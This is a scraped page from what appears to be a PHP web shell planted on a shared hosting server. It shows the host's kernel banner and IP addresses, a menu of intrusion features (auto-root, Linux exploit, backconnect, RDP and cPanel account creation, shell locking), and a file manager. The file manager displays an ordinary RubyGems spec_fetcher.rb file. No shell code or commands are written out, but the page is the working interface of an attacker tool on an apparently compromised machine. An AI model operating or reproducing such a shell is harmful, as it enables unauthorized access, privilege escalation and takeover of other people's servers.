Linux premium180.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
LiteSpeed
: 162.0.209.168 | : 216.73.216.187
Cant Read [ /etc/named.conf ]
8.3.30
nortrmdp
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
opt /
alt /
ruby18 /
lib64 /
ruby /
site_ruby /
1.8 /
rubygems /
[ HOME SHELL ]
Name
Size
Permission
Action
commands
[ DIR ]
drwxr-xr-x
ext
[ DIR ]
drwxr-xr-x
package
[ DIR ]
drwxr-xr-x
ssl_certs
[ DIR ]
drwxr-xr-x
builder.rb
2.21
KB
-rw-r--r--
command.rb
12.46
KB
-rw-r--r--
command_manager.rb
4.67
KB
-rw-r--r--
config_file.rb
9.69
KB
-rw-r--r--
custom_require.rb
1.83
KB
-rw-r--r--
defaults.rb
2.65
KB
-rw-r--r--
dependency.rb
6.43
KB
-rw-r--r--
dependency_installer.rb
9.94
KB
-rw-r--r--
dependency_list.rb
5.58
KB
-rw-r--r--
deprecate.rb
1.81
KB
-rw-r--r--
doc_manager.rb
5.55
KB
-rw-r--r--
errors.rb
793
B
-rw-r--r--
exceptions.rb
2.34
KB
-rw-r--r--
ext.rb
379
B
-rw-r--r--
format.rb
1.96
KB
-rw-r--r--
gem_openssl.rb
2.24
KB
-rw-r--r--
gem_path_searcher.rb
4.57
KB
-rw-r--r--
gem_runner.rb
2.38
KB
-rw-r--r--
gemcutter_utilities.rb
1.86
KB
-rw-r--r--
indexer.rb
16.93
KB
-rw-r--r--
install_update_options.rb
3.87
KB
-rw-r--r--
installer.rb
17.02
KB
-rw-r--r--
installer_test_case.rb
3.1
KB
-rw-r--r--
local_remote_options.rb
3.36
KB
-rw-r--r--
mock_gem_ui.rb
1.05
KB
-rw-r--r--
old_format.rb
3.69
KB
-rw-r--r--
package.rb
2.15
KB
-rw-r--r--
package_task.rb
3.79
KB
-rw-r--r--
path_support.rb
1.5
KB
-rw-r--r--
platform.rb
5.55
KB
-rw-r--r--
psych_additions.rb
249
B
-rw-r--r--
psych_tree.rb
687
B
-rw-r--r--
remote_fetcher.rb
13.78
KB
-rw-r--r--
require_paths_builder.rb
577
B
-rw-r--r--
requirement.rb
5.01
KB
-rw-r--r--
security.rb
28.83
KB
-rw-r--r--
server.rb
21.93
KB
-rw-r--r--
source_index.rb
11
KB
-rw-r--r--
spec_fetcher.rb
7.17
KB
-rw-r--r--
specification.rb
54.83
KB
-rw-r--r--
syck_hack.rb
2.02
KB
-rw-r--r--
test_case.rb
23.22
KB
-rw-r--r--
test_utilities.rb
3.47
KB
-rw-r--r--
text.rb
1.23
KB
-rw-r--r--
uninstaller.rb
6.77
KB
-rw-r--r--
user_interaction.rb
11.22
KB
-rw-r--r--
validator.rb
4.65
KB
-rw-r--r--
version.rb
10.19
KB
-rw-r--r--
version_option.rb
1.59
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : spec_fetcher.rb
require 'rubygems/remote_fetcher' require 'rubygems/user_interaction' require 'rubygems/errors' require 'rubygems/text' ## # SpecFetcher handles metadata updates from remote gem repositories. class Gem::SpecFetcher include Gem::UserInteraction include Gem::Text FILES = { :all => 'specs', :latest => 'latest_specs', :prerelease => 'prerelease_specs', } ## # The SpecFetcher cache dir. attr_reader :dir # :nodoc: ## # Cache of latest specs attr_reader :latest_specs # :nodoc: ## # Cache of all released specs attr_reader :specs # :nodoc: ## # Cache of prerelease specs attr_reader :prerelease_specs # :nodoc: @fetcher = nil def self.fetcher @fetcher ||= new end def self.fetcher=(fetcher) # :nodoc: @fetcher = fetcher end def initialize require 'fileutils' @dir = File.join Gem.user_home, '.gem', 'specs' @update_cache = File.stat(Gem.user_home).uid == Process.uid @specs = {} @latest_specs = {} @prerelease_specs = {} @caches = { :latest => @latest_specs, :prerelease => @prerelease_specs, :all => @specs } @fetcher = Gem::RemoteFetcher.fetcher end ## # Returns the local directory to write +uri+ to. def cache_dir(uri) # Correct for windows paths escaped_path = uri.path.sub(/^\/([a-z]):\//i, '/\\1-/') File.join @dir, "#{uri.host}%#{uri.port}", File.dirname(escaped_path) end ## # Fetch specs matching +dependency+. If +all+ is true, all matching # (released) versions are returned. If +matching_platform+ is # false, all platforms are returned. If +prerelease+ is true, # prerelease versions are included. def fetch_with_errors(dependency, all = false, matching_platform = true, prerelease = false) specs_and_sources, errors = find_matching_with_errors(dependency, all, matching_platform, prerelease) ss = specs_and_sources.map do |spec_tuple, source_uri| [fetch_spec(spec_tuple, URI.parse(source_uri)), source_uri] end return [ss, errors] end def fetch(*args) fetch_with_errors(*args).first end def fetch_spec(spec, source_uri) source_uri = URI.parse source_uri if String === source_uri spec = spec - [nil, 'ruby', ''] spec_file_name = "#{spec.join '-'}.gemspec" uri = source_uri + "#{Gem::MARSHAL_SPEC_DIR}#{spec_file_name}" cache_dir = cache_dir uri local_spec = File.join cache_dir, spec_file_name if File.exist? local_spec then spec = Gem.read_binary local_spec else uri.path << '.rz' spec = @fetcher.fetch_path uri spec = Gem.inflate spec if @update_cache then FileUtils.mkdir_p cache_dir open local_spec, 'wb' do |io| io.write spec end end end # TODO: Investigate setting Gem::Specification#loaded_from to a URI Marshal.load spec end ## # Find spec names that match +dependency+. If +all+ is true, all # matching released versions are returned. If +matching_platform+ # is false, gems for all platforms are returned. def find_matching_with_errors(dependency, all = false, matching_platform = true, prerelease = false) found = {} rejected_specs = {} list(all, prerelease).each do |source_uri, specs| found[source_uri] = specs.select do |spec_name, version, spec_platform| if dependency.match?(spec_name, version) if matching_platform and !Gem::Platform.match(spec_platform) pm = (rejected_specs[dependency] ||= Gem::PlatformMismatch.new(spec_name, version)) pm.add_platform spec_platform false else true end end end end errors = rejected_specs.values specs_and_sources = [] found.each do |source_uri, specs| uri_str = source_uri.to_s specs_and_sources.concat(specs.map { |spec| [spec, uri_str] }) end [specs_and_sources, errors] end def find_matching(*args) find_matching_with_errors(*args).first end ## # Suggests a gem based on the supplied +gem_name+. Returns a string # of the gem name if an approximate match can be found or nil # otherwise. NOTE: for performance reasons only gems which exactly # match the first character of +gem_name+ are considered. def suggest_gems_from_name gem_name gem_name = gem_name.downcase max = gem_name.size / 2 specs = list.values.flatten 1 matches = specs.map { |name, version, platform| next unless Gem::Platform.match platform distance = levenshtein_distance gem_name, name.downcase next if distance >= max return [name] if distance == 0 [name, distance] }.compact matches = matches.uniq.sort_by { |name, dist| dist } matches.first(5).map { |name, dist| name } end ## # Returns a list of gems available for each source in Gem::sources. If # +all+ is true, all released versions are returned instead of only latest # versions. If +prerelease+ is true, include prerelease versions. def list(all = false, prerelease = false) # TODO: make type the only argument type = if all :all elsif prerelease :prerelease else :latest end list = {} file = FILES[type] cache = @caches[type] Gem.sources.each do |source_uri| source_uri = URI.parse source_uri unless cache.include? source_uri cache[source_uri] = load_specs source_uri, file end list[source_uri] = cache[source_uri] end if type == :all list.values.map do |gems| gems.reject! { |g| !g[1] || g[1].prerelease? } end end list end ## # Loads specs in +file+, fetching from +source_uri+ if the on-disk cache is # out of date. def load_specs(source_uri, file) file_name = "#{file}.#{Gem.marshal_version}" spec_path = source_uri + "#{file_name}.gz" cache_dir = cache_dir spec_path local_file = File.join(cache_dir, file_name) loaded = false if File.exist? local_file then begin spec_dump = @fetcher.fetch_path(spec_path, File.mtime(local_file)) rescue Gem::RemoteFetcher::FetchError => e alert_warning "Error fetching data: #{e.message}" end loaded = true if spec_dump spec_dump ||= Gem.read_binary local_file else spec_dump = @fetcher.fetch_path spec_path loaded = true end specs = begin Marshal.load spec_dump rescue ArgumentError spec_dump = @fetcher.fetch_path spec_path loaded = true Marshal.load spec_dump end if loaded and @update_cache then begin FileUtils.mkdir_p cache_dir open local_file, 'wb' do |io| io << spec_dump end rescue end end specs end end
Close